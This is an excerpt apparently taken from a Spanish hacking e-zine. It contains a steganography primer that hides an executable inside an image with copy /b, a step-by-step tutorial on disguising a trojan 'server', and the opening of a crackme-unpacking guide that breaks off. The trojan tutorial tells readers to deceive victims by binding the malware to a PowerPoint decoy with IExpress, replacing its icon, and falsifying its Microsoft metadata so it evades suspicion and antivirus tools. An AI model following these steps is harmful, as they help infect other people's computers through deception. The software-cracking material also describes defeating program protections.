Está en la página 1de 92

A-PDF Merger DEMO : Purchase from www.A-PDF.

com to remove the watermark


ÍNDICE

1| Portada
2 | Índice
3 | Introduccion a la Esteganografia
9 | Preparando nuestro server
15| Crackeo basico de programas en VB6
22| Busqueda Secuencial
24|Creando un joiner
29| Crear un buscador de archivos en VB
31| Introduccion a C 3Parte
36| Introducción al Batch 3a Parte
41| Técnicas de programación de Scripts
46| Infectar unidades USB
49| La indexación y Tu Dominio
51| Crea Tu propio windows desatendido
54| Pendrive USB de Arranque en Linux
57| Bling Text Tutorial
60| Diseño de interfaces 1
72| Marco Simple Style
74| Retoque Fotografico
80| Userbars con PhotoShop
81| Norton Ghost
84| Razones para usar TuneUp 2008
90| Centinel USB Protector
91| Microcontroladores

La mejor edición de la CUH e-zine, la más completa y la más trabajada, enhorabuena a todos
los miembros que han aportados su granito de arena a este gran proyecto que nació con RuB, y
que se ha extendido hasta hoy con el máximo trabajo de Aleks que se ha encargado de
organizar todo.
No tengo palabras para describir esta edición con una información de primera, más quisieran
muchas comunidades poder hacer esta e-zine…
Yo me despido por ahora del proyecto de la e-zine que no sé si continuará, espero que sí pero
será con otras personas, lo que espero es que aleks continúe ya que hace un grandísimo trabajo
y lo hace muy bien. Gracias por todo aleks en nombre de todos y gracias también a todos los
usuarios que han colaborado en esto y lo han hecho posible.

Muchas gracias por seguir estas series de ediciones.

Ha sido un honor pertenecer a esto, un gran abrazo

RuB
Introduccion a la Esteganografia CUH e-zine 4ª edición

obtenida de una sucesión de columnas. Al final se ve


una nota sobre este oscuro personaje

Esta técnica para ocultar mensajes y datos, es muy


antigua y han sido múltiples las formas de hacerlo: en
la antigua Grecia se escribían los mensajes en tablas
de madera luego eran cubiertas de cera para que
La esteganografía actualmente es conocida por la
simulara no haber tenido uso alguno, Herodoto cuenta
sociedad y en la seguridad de las Tecnologías de la
que era muy común el uso de tatuajes en el cuero
Información en general, debido a muchos rumores
cabelludo de los esclavos que eran usados como
(falsos o no), que corrieron después de los atentados
mensajes vivientes, de forma que cuando el cabello
del 11 de septiembre sobre la ciudad de nueva york, se
crecía se ocultaba el mensaje, también se usaron tintas
decía que los terroristas usaban esta técnica de
invisibles en las partes en vacías de los mensajes,
ocultación de datos para comunicarse internamente y
modernamente se usaron los microfilms, los cuales
así planear supuestos futuros atentados, debido a ello
eran tan pequeños que podían simular ser un punto de
se llevo una campaña de investigación en toda
un mensaje en un papel, en fin han sido variadas las
Norteamérica y en el mundo en general para
técnicas de la ocultación de los mensajes, todo ello
comprobar la veracidad de lo que se decía, se crearon
debido a que los mensajeros eran interceptados y
programas y aplicaciones capaces de hacer análisis
descubiertos, se puede decir que su uso ha sido
sobre muchos tipos de archivos y que hacen el proceso
mayormente bélico. Hoy en día se usa esta técnica en
muy veloz (a pesar de que el proceso de análisis se
la informática, y se hace incrustando el mensaje dentro
hace bit a bit), teniendo en cuenta la cantidad de
de archivos digitales, la técnica varía según el tipo de
imágenes que circulan en internet es tan voluminosa es
archivo que sea utilizado como medio, conocido como
una larga, tediosa y ardua labor, y aunque muchos
esteganomedio, los archivos son los de tipo multimedia
científicos han aunado fuerzas en ello, al parecer no se
como son imágenes, videos y archivos de música,
han obtenido muy buenos resultados, a pesar de que
debido a su volumen y su estructura interna.
una gran cantidad de personas se han visto
involucradas en ello y se han dedicado miles de horas,
No hay que confundir la esteganografía con criptografía
lo que su queda muy claro es que pocas luces se han
y aunque su objetivo es similar, ya que ambas tratan
visto y se verán sobre el asunto. Lo cierto es que esta
de proteger información sensible, en la criptografía no
técnica si existe y en la actualidad hay muchas
se trata de ocultar del mensaje sino de hacerlo ilegible
técnicas y herramientas tanto de análisis, como de
para quien no esté al tanto de la clave. La
ocultación de los datos dentro de imágenes y sobre
esteganografía pretende ser lo que la criptografía no
otro tipo de archivos digitales o computacionales. La
es, la cual trata de evitar la detección del mensaje,
esteganografía ha sido un tópico al cual no se le ha
entonces si contamos con un buen algoritmo
dedicado el trato que mereciera, por mucha gente del
aseguramos que nadie pueda detectar la información
campo de la seguridad de las Tecnologías de la
que se pretende ocultar, otra cosa importante, es que
Información, la mayoría de las personas no la ven como
debemos contar siempre con el espacio adecuado para
un potencial ataque, pero es debido a la ignorancia que
hacerlo en el estegomedio, ya que si el mensaje es
la gente tiene sobre el asunto.
mas grande que el contenedor, habrá muchas
Así empieza ese artículo que antes de intentar ser algo
posibilidades de que el mensaje sea descubierto,
avanzado sobre las técnicas estaganográficas y de
entonces es donde debemos combinar la
estegoanálisis, solo es una ilustración y una
esteganografía con la criptografía, y de esta forma
introducción a este tipo de técnicas de ocultación y
asegurarnos de que, por mas de que el mensaje oculto
detección de datos incrustados dentro de otros datos
haya sido detectado, al estar cifrado pueda llegar a ser
muy difícil descifrar el mensaje oculto.
Esteganografía
La esteganografía puede utilizarse en solitario para
Palabra que aunque suena muy cool y moderna es muy
simplemente disimular los datos, o combinarse con la
antigua y proviene del griego, su sentido etimológico
criptografía, de tal manera que los datos que se
es: "steganos" (secreto) y "grafía" (escrito) escritura
oculten, estarán encriptados, por lo que si son
secreta, arte o ciencia de ocultar mensajes dentro de
descubiertos, al menos no se accederá fácilmente a la
otros mensajes sin que el mensaje contenedor
información protegida. Actualmente existen
(cubierta o estegomedio) se vea afectado y lo mas
herramientas estaganográficas gratuitas disponibles
importante: que su presencia no sea evidente, ni
para distintas plataformas tales como: F5 que fue
detectada. Johannes Trithemius, escribió el primer libro
desarrollada por Andreas Westfield (toda una eminencia
impreso de criptología (Al final del articulo hay una
en el ramo) la cual asigna una imagen por su ruta y
referencia). Él inventó una cifra esteganográfica en la
después determina el camino a seguir de la información
cual cada letra era representada como una palabra
que se va a ocultar, MP3Stego es una herramienta
Introduccion a la Esteganografia CUH e-zine 4ª edición
que esconde datos en archivos .mp3 su técnica consiste exhibirla, información característica de la aplicación con
en juntar un archivo de texto con uno .wav y que se creo, un marcador que determina el final del
transformarlo en un archivo .mp3, Steganos permite archivo, la paleta de colores, etc. Los ficheros GIF
encriptar y esconder archivos, el usuario selecciona un utilizan el modo de color indexado, pudiendo trabajar
archivo o fólder a esconder, y después el lugar donde con dos paletas diferentes, una global y otra local, la
desea integrarlo. paleta global determina los colores de todas las
Imaginemos el caso de una persona que ha detectado imágenes almacenadas en el GIF (puede haber varias
movimientos fraudulentos o ilícitos en alguna entidad, en un mismo fichero), mientras que la local determina
bien sea gubernamental o privada, como podría específicamente la paleta de cada imagen del GIF (en el
arriesgarse a contar, o a denunciar esto a través de caso de haber una sola imagen, la única paleta
Internet, sin que su intimidad y hasta su propia disponible será la global).
seguridad se vea afectada. Es aquí donde se hace
fundamental el conocimiento y manejo de las distintas Fomato .PNG
técnicas de ocultamiento de datos y los principales El formato PNG (Portable Network Graphic) es un
medios usados para ello. Es por ello que se hace formato de mapa de bits de libre distribución, válido
indispensable conocer la estructura, las características para PC y MAC y LINUX, nació como alternativa a los
y el uso de los diferentes formatos de archivos formatos GIF y JPG, es de propiedad de la empresa
multimedia mas usados para esta práctica, a Unisys Corporation, PNG utiliza un esquema de
continuación veremos las características de algunos de compresión sin pérdidas para reducir el tamaño del
los formatos más usados para las técnicas archivo, manteniendo intacta la calidad original de la
estaganográficas, pero será algo muy superficial a imagen. Puede trabajar en modo Escala de Grises (con
modo de referencia ya que nos centraremos en el un canal alfa), en modo Color Indexado (8 bits, hasta
formato bmp, por su sencillez y por la forma de su 256 colores, paletas de colores) y en modo RGB (24
estructura. bits, 16,8 millones de colores y 48 bits, con 24 bits
para canales alfa), por lo que admite 256 niveles de
Formato .JPG transparencia. Las transparencias conseguidas con PNG
Son las iníciales del grupo que desarrollo su algoritmo son de mayor calidad que las del formato GIF, ya que,
(Joint of Photographic Experts Group). Es uno de los al trabajar con más colores, genera transparencias sin
formatos mas usados en la red, y en las tecnologías de bordes pixelados. También permite imágenes
la información. Ya que permite comprimir imágenes con entrelazadas, pero no soporta animaciones.
una escasa pérdida de calidad y bajo peso, usado
generalmente para almacenar imágenes fotográficas, Formato .BMP
tanto en color como en escala de grises, mientras los
formatos .gif y .png se comportan mejor con imágenes Uno de los estegomedios más comunes son las
gráficas. El formato JPEG soporta 16,7 millones de imágenes de BitMaps o archivos Bmp, los cuales son
colores (24 bits), es el mejor formato para fotografías un formato estándar de imagen de mapa de bits en
digitalizadas, texturas, transiciones de color o sistemas operativos DOS, Windows y válido para MAC y
degradados o cualquier imagen que requiera más de PC, se soportan imágenes de 24 bits (millones de
256 colores, su algoritmo de compresión elimina colores), 8 bits (256 colores), puede trabajar en escala
información de la imagen, mientras mas compresión, de grises, RGB y CMYK. Los archivos de mapas de bits
menor calidad y menor peso del archivo. se componen de direcciones asociadas a códigos de
Formato .GIF color, uno para cada cuadro en una matriz de pixeles,
soportan compresión RLE sin pérdida de calidad, tal
Son las siglas de Graphics Interchange Format creado como se esquematizaría el típico colorea la imagen,
por Compuserve en junio de 1987, un formato de donde cada segmento en blanco esta marcado por un
compresión de imagen limitado a 256 colores, emplea numero que a su vez le pertenece un color, como se
el algoritmo de compresión LZW (Lempel Ziv Welch) aprecia en la imagen.
(consistente en no detectar sólo las repeticiones de un
color, sino en detectar las repeticiones de ciertas
secuencias) este algoritmo esta patentado. La forma
más sencilla de reducir el tamaño de un archivo GIF es
disminuir el número de colores, es ideal para gráficos,
dibujos, iconos o imágenes de muy pocos color o con
grandes áreas del mismo color, es bueno casi para todo
tipo de imágenes especialmente las animaciones,
exceptuando las imágenes fotográficas, también
soporta transparencias -la parte transparente se adapta
al color del fondo donde se coloca, se puede almacenar
de forma entrelazada carga cada cuatro líneas lo que
hace que la imagen e visualice mientras se va
cargando. La estructura de todo fichero GIF está
basada en bloques, y contiene información sobre la
imagen como tal: instrucciones acerca de cómo
Introduccion a la Esteganografia CUH e-zine 4ª edición
Una de sus características es su excesivo uso de como tal y aunque es un poco sosa, pasare a explicar
espacio en disco, aunque posee un buen nivel de algo que se puede hacer desde línea de comandos o
calidad, al ser re-escalados a un tamaño mayor, se desde un archivo batch, pero que servirá eficazmente
pierde calidad, cada pixel puede ocupar 1 o varios como técnica de ocultación casera por asi decirlo, ya
bytes, ello depende de la profundidad de color, pueden que es difícil que alguien desapercibido sospeche del
ser transformados en otros formatos, como JPEG, GIF mensaje oculto que trae el medio o archivo cubierta,
o PNG. Es de notar que todos archivos digitales siempre sin embargo para una herramienta de estegoanálisis
comienzan con una cabecera o header la cual lo será algo fácil de detectar, ya que es una de las
identifica, además de contener la información básica del primeras partes que se analizan de un archivo el
mismo, todos los .bmp empiezan con las letras 'BM' o famoso EOF, y es un tópico o patrón usado por este
su equivalente en hexadecimal  (0x42 0x4D), que es tipo de aplicaciones de análisis forense. Existen
el que lo identifica con el programa con que se diversas formas para hacer esto y son muy sencillas,
visualizará o editará la imagen, en la cabecera también algunas solo requieren un par de línea directamente
se incluyen las características generales de la imagen desde el intérprete de comandos, existen un comando
como son : tamaño, número de colores , paleta de en Windows que no pueden servir para efectuar la
colores (si es requerida), y con cuántos bytes se técnica EOF, con los comandos type y copy /b
representa el color de cada pixel, otra característica acompañado del parámetro /b (Copiar de forma
especial de este formato es que comienza a leerse binaria) se pueden fundir dos archivos o mas, para
desde abajo a arriba, o sea, en una imagen en 24 bits llevar a cabo el siguiente ejemplo necesitaremos
los primeros 3 bytes corresponden al primer pixel cuatro archivos, una imagen .gif, tres archivos de texto
inferior izquierdo. incluye información para y un ejecutable, cabe decir que solo la cabecera del
posicionarnos en la codificación de los pixeles de la primer archivo agregado (esto en caso de que el
imagen. Dependiendo de la resolución de la imagen, los archivo no exista - o sea que o crearemos nosotros de
pixeles pueden estar codificados de diferentes formas: cero-) , pero si lo que vamos a hacer es unir mas
1,4,8,16,24,32 Bits X Pixel. Por ejemplo, en una archivos a uno ya existente, será la cabecera del
resolución típica, de 24 Bits X Pixel, cada pixel de la archivo en el que ocultaremos nuestros datos la que
imagen se representa define que programa estará asociada al archivo final.
Para el ejemplo nos vamos al disco local C: y creamos
con 3 Bytes, o sea que se usa un byte para el rojo la carpeta temporal Prueba allí metemos los archivos
(Red) , un byte para el verde (Green) y un byte para el que vamos a fundir para ocultar nuestros datos
azul (Blue), modo RGB.

Estructura de la cabecera de un archivo .BMP

Bytes Información
0, 1 Tipo de fichero "BM"
2, 3, 4, 5 Tamaño del archivo
6, 7 Reservado El archivo Marca.txt contendrá un texto que servirá de
8, 9 Reservado marca para poder identificar los archivos (cualquier
10, 11, 12, 13 Inicio de los datos de la marca nos servirá en mi caso he usado la cadena de
imagen caracteres “<--|||-->”), el Archivo texto.txt contendrá
14, 15, 16, 17 Tamaño de la cabecera del el texto a ocultar (en mi caso he usado la siguiente
bitmap cadena: “Azmodeo:resU-142tiamat364:ssaP”, el
18, 19, 20, 21 Anchura (píxels) archivo mascara es opcional y se usa para añadir
22, 23, 24, 25 Altura (píxels) contenido al archivo y hacer mas difícil la forma de
26, 27 Número de planos encontrar el los datos que vamos a ocultar (en mi caso
28, 29 Tamaño de cada punto le he puesto la parte del texto de un archivo ejecutable,
el archivo centinel.exe es opcional y lo uso para
30, 31, 32, 33 Compresión (0=no
demostrar que se pueden meter múltiples archivos
comprimido)
dentro de otro, incluyendo ejecutables, la cuestión es
34, 35, 36, 37 Tamaño de la imagen
poder ser capaz de separarlos y hacerlos legibles por
38, 39, 40, 41 Resolución horizontal
las aplicaciones que los lanzarán, y la clave para ello el
42, 43, 44, 45 Resolución vertical
uso de la marca.
46, 47, 48, 49 Tamaño de la tabla de color
Ahora abrimos el cmd.exe y nos ubicamos en c:\prueba
La técnica EOF consiste en añadir un archivo que y empezamos escribiendo algo asi:
contendrá los datos que vamos a ocultar, al final de
otro archivo el cual nos servirá de medio o cubierta, type 1.jpg > medio.gif
hay muchos formatos de archivo que permiten esta type marca.txt >> medio.gif
técnica sin alterar su correcto funcionamiento, los type texto.txt >> medio.gif
formatos mas conocidos son los siguientes: .ppt, .wav, type marca.txt >> medio.gif
.mp3, .jpg, .png, exe, .doc , .gif, .bmp, aunque la type mascara.txt >> medio.gif
técnica conocida es muy conocida (Envenenar un type marca.txt >> medio.gif
archivo) no es una veradera técnica esteganográfica type centinel.exe >> medio.gif
Introduccion a la Esteganografia CUH e-zine 4ª edición
type marca.txt >> medio.gif selección quedando la primer parte del archivo algo asi:
type mascara.txt >> medio.gif

Tambien podriamos simplemente escribir:

Copy /b 1.jpg + marca.txt + texto.txt + marca.txt +


mascara.txt + marca.txt + centinel.exe + marca.txt +
mascara.txt Asi excluimos la imagen jpg que era la que poseía la
cabecera del arhivo Medio2.gif, ahora extraemos el
Si notan que en la primer sentencia enviamos los datos texto que nos atañe, en este caso el user y el pass, al
de el archivo 1.jpg a 1.gif sin que se dañe el archivo mas puro estilo reto hack, para ello lo hacemos igual,
permitiéndolo editar normalmente con un editor de nos posicionamos en el siguiente carácter de la
imágenes, sin embargo su cabecera es la de un .jpg, segunda marca, seleccionamos el texto hacia arriba
como el archivo original. Entonces tenemos el archivo
final Medio.jpg, que es el que contiene nuestros
distintos datos ocultos, lo lógico seria abrir el archivo
Medio.jpg con el Notepad.exe y buscar las marcas para
poder extraer las distintas partes que conforman
nuestros archivos ocultos, si abriéramos un nuevo Cortamos de nuevo, esta vez pegamos el texto en
documento con el Notepad.exe, y pegáramos cada algún editor de texto, ahora extraeremos la mascara,
archivo por separado, pensaríamos que podríamos que solo sirve para camuflar
guardar cada archivo con su extensión original y de
esta forma poder abrir normalmente los mismos, es un
craso error; es aquí donde se hace necesario usar un
editor hexadecimal para reutilizar uno a uno nuestros
archivos correctamente, en mi caso usaremos el
HexEditor

La marca también la extraemos, buscamos la siguiente


marca y extraemos el resto, dejando solo la estructura
del ejecutable, que al final de este ejemplo es el que
nos vale, de igual forma podremos meter múltiples
archivos y si hacemos bien todo podremos extraerlos
todos, por otro lado también podríamos juntar dos
Para evitar desastres duplicamos el archivo Medio.jpg y imágenes u otros archivos, y para poder habilitarlos
abrimos la copia, en este caso Medio2.jpg uno a uno, solo debemos extraer el archivo por partes,
de esta manera, si extraemos el primer archivo y las
marcas y guardamos el archivo con la extensión que le
corresponde, el archivo seguirá conteniendo a los otros
y no se dañará.

Empezamos a ubicar la primera marca para extraer el


texto oculto

Como para el ejemplo lo que queríamos era extraer el


texto oculto y el ejecutable procedemos a guardarlo
como tal, en mi caso Centinel2.exe
Las marcas las he resaltado de amarillo y el texto con
rojo, ahora nos posicionamos en el primer carácter de
la marca, en este caso el carácter < y seleccionamos
hacia arriba todo los caracteres, cortamos (CTRL+X) la
Introduccion a la Esteganografia CUH e-zine 4ª edición
comando modifica las cabeceras del archivo resultante,
dañando las asociaciones del mismo, al fin como
siempre digo: es cuestión de experimentar un poco!

Una de las buenas herramientas que he descubierto es


una que funciona online y se llama Cryptimg aquí les
dejo una referencia de ella:

Cryptimg es una herramienta con la que podemos


guardar un mensaje de texto encriptado dentro de una
imagen. El procedimiento para realizar esto es muy
simple: subimos cualquier imagen y/o fotografía,
ingresamos una contraseña y finalmente escribimos
nuestro mensaje secreto. Después de realizar los pasos
anteriores, solo debemos enviar la imagen a nuestro
receptor junto con la clave y el deberá realizar el
procedimiento inverso para descifrarla. O sea, subir de
nuevo la imagen a Cryptimg, escribir la contraseña y
Explicare otro ejemplo esta vez solo con dos imágenes, presionar el botón Descodificar y automáticamente se
la marca y un ejecutable, en este caso 1.jpg, 30f.gif, desencriptará el mensaje.
centinel.exe para ello escribiremos en una sola línea lo También existen muchísimas herramientas
siguiente: desarrolladas en distintos lenguajes que nos permiten
diferentes funciones, pero la descripción de ellas queda
copy /b 1.jpg + marca.txt + 30f.gif + marca.txt para otra ocasión, ya que ellas requiere una explicación
centinel.exe medio.gif detallada sobre las características y funciones
esenciales.
Esta vez solo veremos como habilitar la segunda
imagen, extrayendo el primer archivo y la marca no Pero la mejor y mas común de las técnicas en la
mas, el ejecutable lo dejaremos oculto en el medio para esteganografía, es la técnica sustitutiva del Bit Menos
después XD. Significativo  LSB (Least Siginificant Bit), en la cual
se sustituye el bit mas a la derecha del byte (el cual no
tiene mayor relevancia) de un byte especifico, en
contraposición del Byte Mas Significativo  MSB (Most
Significnt Bit)

Bit Mas Significativo de un Byte


BMS

Bit Menos Significativo de un Byte


LBS

Por lo tanto se hace necesario conocer la estructura


interna de cada uno de los archivos multimedia, para
así mismo poder elegir una técnica esteganográfica que
sea aplicable y que no dañe el archivo ni que le
produzca cambios perceptibles por los seres humanos.
Como dije anteriormente por su sencillez se ha elegido
el formato .BMP como ejemplo para trabajar en este
articulo, otra ventaja del formato es la posibilidad de
utilizar cualquier bit de la codificación de pixeles de un
archivo para ocultar datos, pero el ruido visual seria
muy obvio para los bits de mayor peso.
Guardamos el archivo como .gif y listo, esto no es nada
del otro mundo, pero puede sirve como técnica EOF, a La técnica sustitutiva LSB depende del estegomedio
la hora de ocultar nuestros archivos o datos. elegido, por ejemplo en el formato JPEG se sustituirán
Hay algunos que creen que con el comando copy se los bits de los coeficientes cuantificados o DCTs, en el
puede hacer algo similar, pero la verdad es que este formato BMP: se sustituirán los bits de la codificación
Introduccion a la Esteganografia CUH e-zine 4ª edición
de los pixeles de la imagen, en el formato GIF: se forma secuencial sobre alguna zona de los pixeles de la
sustituirían los bits de los índices que direccionan a la imagen y si se somete a un proceso de ataque visual se
paleta de colores, solo por nombrar algunos. La técnica observaran fácilmente dichos cambios en la imagen,
de sustitución se basa en la modificación de los bits otro tipo de técnicas usadas para el análisis son los
menos significativos, de la codificación de los pixeles de algoritmos estadísticos, quienes determinan la mayoría
una imagen .bmp, se puede aplicar a los pixeles de la de las veces, el tipo de herramienta usada para ocultar
forma que se desee, de forma secuencial, aleatoria, la información dentro de una imagen o archivo, en
combinado ambas, etc. Por ejemplo en una imagen de algunos caso se debe utilizar el estegomedio en mas de
24 Bits X Pixel  3 Bytes, se podría ocultar información un 97% tal como ocurre en el caso del Algoritmo
en su octeto de Verde, de esta forma los métodos ChiSquare, también cuando los datos son almacenados
puedes llegar a ser muy variados. Una de las razones de forma aleatoria se recurre al algoritmo llamado RS,
por la que el formato .bmp es un buen estegomedio es estos ataques se pueden aplicar a muchos de los
por su peso, lo cual facilita la labor para aplicar esta distintos formatos gráficos mas conocidos y con
técnica ya que causa muy poco ruido visual ya que solo diferentes codificaciones especiales para imágenes tipo
se modifican los bytes de la codificación de los pixeles RGB, hay muchos algoritmos mas, y la forma en que
y es my difícil que el ojo humano alcance a apreciar funcionan son todo un tópico, por eso amigos se los
dichos cambios. dejo para otra ocasión
La elección del estegomedio es algo indispensable y
Estegoanálisis
debe ser única para cada transferencia. Lo
La estegoanálisis es la técnica de detectar, los técnicas recomendable es usar imágenes de alta resolución tal
estaganográficas aplicadas a una imagen. Saber como imágenes escaneadas o tomadas con cámaras
identificar correctamente el tipo de formato al que digitales, también las escalas de grises son ideales,
pertenece un archivo, es el primer paso que debe entre mas pequeña sea la información a ocultar menor
tomar el analista para catalogar el archivo será el riesgo de detección por parte de analistas o
adecuadamente y de esta forma poder aplicar una herramientas de estegoanálisis, otra forma es usar
eficaz técnica estegoanalítica que lo lleve a detectar el varias cubiertas para ocultar información de gran
programa o la técnica usada para el ocultamiento del envergadura.
mensaje o los datos en cuestión. Es cierto también que
el objetivo de la estegoanálisis no es descifrar los Johannes von Heydenberg aus Trittenheim/Mosel, o
datos, eso ya es otro cuento, lo importante es poder Johannes Trithemius, escribió el primer libro impreso
determinar si en una imagen hay algún tipo de de criptología. Él inventó una cifra esteganográfica en
esteganografía, la técnica usada y el tamaño del la cual cada letra era representada como una palabra
mensaje o dato oculto. En la actualidad existen muchos obtenida de una sucesión de columnas. La serie de
programas de esteganografía unos gratuitos otros no,
palabras resultantes sería una oración legítima.
pero la mayoría siguen unos patrones y es allí donde
entra la labor del analista, el cual debe ser capaz de También describió cifras polialfabéticas en la forma de
identificar dichos patrones (las cuales pueden ser tablas de sustitución rectangulares que, en la época, ya
transformadas en marcas perceptibles por el analista) tenían se hecho patrón. Introdujo la noción del cambio
que quedan en las imágenes después de ser sometidas de alfabetos cada letra. Johannes Trithemius escribió,
a esteganografía, bien sea manualmente o por parte de sin embargo no publicó, su Steganographia, la cual
las aplicaciones especializadas para ello. Son estos circuló como manuscrito por más de cien años, siendo
patrones los que deben ser tenidos en cuenta al hacer
copiada por muchas personas que deseaban extraer los
un análisis o bien sea a la hora de crear aplicaciones o
programas de estegoanálisis. Un concepto erróneo seria secretos que se pensaba que contenía.
afirmar que la sustitución aleatoria no produce cambios Espero que les haya gustado el articulo, y es solo una
medibles dentro de la estructura del archivo, y se ha introducción sobre este rollo de la ocultación de datos
demostrado que al aplicar una técnica sustitutiva LSB dentro de otros o esteganografía, en la próxima parte
sobre los pixeles de una imagen, sin importar la forma de este articulo trataré sobre la forma de ocultar
en que se escojan los pixeles que se sustituirán, datos con programas hechos para ello, la forma de
siempre quedan rastros que pueden llegar a ser detectar dichos datos usando aplicaciones de
seguidos por los analistas, entre mas grande sea el esteganoanalisis y la forma teórica o esquemática para
mensaje igualmente serán son las huellas dejadas por poder hacer aplicaciones de esteganografía o de
la técnica sustitutiva. estegoanálisis, bien sea para ocultar o detectar datos
ocultos dentro de otros datos, sobra decir que este
Técnicas estegoanalíticas articulo es libre, y que se puede: editar, copiar o
manipular el contenido sin restricciones.
Algunas de las técnicas mas usadas son los llamados By Aleks
ataques visuales, las actúales herramientas de
estegoanálisis poseen funciones que por medio de
filtros especiales muestran visualmente la presencia de
información oculta, (dependiendo lógicamente de el
formato de la imagen) los resultados la mayoría de las
veces son evidentes a simple vista, al aplicar LSB de
Preparando nuestro server CUH e-zine 4ª edición

Una de las preguntas mas comunes al momento de


crear y encriptar nuestro server, es como podemos
engañar a nuestra victima para que no sospeche al Luego veremos el menú principal
momento de abrir nuestro server.
Antes que todo, debemos tener en cuenta que el arte
que envuelve a la ingeniería social es muy importante
al momento de tratar de conseguir nuestro cometido,
pero no entraré en detalle ya que este tema se ha
tocado en anteriores e-zines.
Lo que haremos es “maquillar” nuestro server para que
no sea tan sospechoso y para ello necesitaremos de las
siguientes herramientas:

 Server encriptado

 Presentación Power Point (.pps)

 PowerPoint Slide Show Convert


Seleccionamos Simple Mode y veremos lo siguiente
 Iexpress

 MiTeC IconFactory

 Resoucer Hacker

 eXeScope

Utilicé una presentación de Power Point como archivo


señuelo ya que a todo el mundo le encanta ver este
tipo de archivos, por esta razón es recomendable no
usar archivos de imágenes debido a que en el
explorador de Windows, el msn y correos electrónicos,
pueden pre visualizar imágenes, generando de esta
manera sospechas, debido a que el archivo que
estamos enviando es de extensión .exe

Bueno, lo primero que vamos a hacer es convertir


nuestro archivo lo_mejor.pps en lo_mejor.exe, con Lo siguiente que haremos es presionar el botón select
el fin de poder utilizar el Iexpress como binder. del recuadro Source Microsoft Power Point File
Como todos saben, el Iexpress es una herramienta donde elegiremos nuestro archivo lo_mejor.pps
propia de Windows que podemos utilizar para unir o
juntar dos archivos de extensiones .exe en uno solo
también de extensión .exe, convirtiéndose de esta
manera en el blinder perfecto, indetectable a los anti
virus.
Para ello utilizamos un programa llamado
PowerPoint Slide Show Converter, aunque existen
muchos mas que nos sirve para realizar este tipo de
Ahora solo debemos presionar el botón Make Slide
conversión.
Show para que realice la conversión.
Abrimos Power Point Slide Show Converter:
Una vez finalizada la conversión presionamos el botón
aceptar.
Preparando nuestro server CUH e-zine 4ª edición

bueno llamado MiTeC IconFactory

Lo siguiente que haremos es abrir el programa y


seleccionar open desde File ubicado en el menú
principal.

Al final veras el resultado de tu presentación de Power


Point, en un archivo aplicativo.

Bueno, lo siguiente que haremos es bindear el server


encriptado (troyano) con lo_mejor.exe (señuelo).
A continuación ubicaremos la carpeta de Microsoft
office para ubicar el icono de Power Point

Le damos doble clic a POWERPNT.EXE y veremos todos


los iconos que maneja dicho programa. En este punto
debemos seleccionar el icono que deseamos y el de
mayor tamaño.
No entro en detalle sobre la configuración ya que la info
la puedes encontrar en foro.el-hacker.com. El
resultado del bindeo es un archivo aplicativo o
ejecutable como el siguiente:

Lo siguiente que haremos es buscar el Icono de power


point, el cual podremos extraer con un programa muy
Preparando nuestro server CUH e-zine 4ª edición

Lo que haremos ahora es guardar el icono para ser


utilizado mas adelante.

Una ves seleccionado el archivo procedemos eliminar la


carpeta AVI como lo muestra en la figura.

El resultado es un archivo con extensión .ico

El siguiente paso es cambiar el icono de nuestro server,


ya que el que tiene actualmente corresponde al
asignado por el IExpress. Para poder hacer el cambio
utilizamos programa conocidos por todos que es el El siguiente paso consiste en cambiar el icono, asi que
Resoucer Hacker. debes seleccionar la opción Replace Resource

Ahora lo que debemos hacer es cambiar el icono actual


por el icono de Power Point, para ello oprimimos el
botón Open File with new Icon.. y ubicamos el
archivo POWERPNT_4.ico
Lo que haremos es seleccionar el archivo al que
queremos cambiarle el icono, siendo en nuestro caso el
server que ya bindeamos y que denominamos como
Archivo_IExpress.exe.
Preparando nuestro server CUH e-zine 4ª edición

Como se darán cuenta, saldrá un mensaje


preguntando si desean remplazar el archivo, al cual
deberán darle yes. Al final y después de refrescar la
ventana donde se encuentra nuestro server, veremos
Después solo debemos oprimir Replace que su icono a cambiado.

Si detallan el archivo podrán ver datos como Win32


Cabnet Selft-Extractor y Microsoft Corporation,

información que levantaría sospechas. Para dar solución


a este inconveniente usaremos un programa llamado
eXeScope

Como verán los iconos ya fueron cambiados y solo


queda guardar los cambio con la opción save as y
elegimos guardar sobre el ya existente es decir en
Archivo_IExpress.exe.

Lo que debemos hacer es abrir nuestro server con este


programa.
Preparando nuestro server CUH e-zine 4ª edición

Ahora lo que haremos es modificar algunos datos para


mejorar su aspecto, FileDescription y
CompanyName. Lo primero es dar un clic al botón Lo siguiente que haremos es dar en la X para cerrar el
derecho sobre FileDescription, seleccionamos editar programa, pero antes de que se cierra nos pide
y escribimos lo que queramos, por ejemplo Microsoft confirmar el cambio del tamaño del archivo al cual le
Office, lo mismo hacemos con CompanyName, al cual daremos aceptar
lo cambiaremos por Power Point.

Al final obtendremos un archivo mas creíble al que


Después de modificarlo veremos algo como………… debemos cambiarle el nombre por el original de la
presentación de Power Point, lo mejor.

Aclaro que lo mas importante es la Ingeniería Social


que usemos con nuestras victimas, aunque un poco de
ayuda no está mal.
Saludos
Angelus_7722
Crackeo básico de programas en VB6 CUH e-zine 4ª edición

Bueno, en este tuto veremos algo sobre como


desempacar apps protegidas con UPX 1.25, Analizamos con PEiD (siempre debe ser lo primero
además de tratar con un crackme en VB6 y ver el que hagamos, pero bueno, para que nos
funcionamiento de algunos programas. familiaricemos un poco con los empacados.), y
nos dice:
Elegí un crackme de N1l0. Para crackearlo, yo
usare estos programas:
-Procdump v1.6.2
-OllyDbg v1.10 Desempacando…:
-PEiD
-UPX GUI *opcional -La forma más rápida, fácil y sencilla:
-PUPE *opcional --Encontrando OEP (punto de entrada original):
Además necesitaremos:
-Un cerebro con IQ de más de 80 Cabe destacar que el entrypoint que vemos con el
-lápiz/pluma (o algún artefacto para Ollly es el EP del packer (upx en este caso), por
escribir) y papel (o algún lugar donde escribir) consiguiente para desempacar el crackme
-ser hincha del Real (esto es muy tendremos que encontrar el OEP real del crackme.
importante)
Cargamos el crackme en Ollly, y vemos que el EP
Además de los programas, supondré que poseen del packer (406A81) nos deja en un PUSHAD, lo
conocimientos (por lo menos básicos) sobre pasamos (F8/F9) y vemos que algo se mueve a
ingeniería inversa, sobre ensamblador ESI, vamos a registros, en ESP ponemos las
(obviamente) y que han trabajado con el OllyDbg, opciones y seleccionamos “Follow in Dump”
por esta razón no entrare en explicaciones e iré al
meollo del asunto.

Así luce el crackme. Podemos suponer a simple


vista que fue hecho con VB6, por el icono,
además el titulo del tuto lo dice... xD… pero
supondremos que no sabemos nada sobre el... ;-
).

Lo abrimos con Ollly y lo que vemos en las apis es


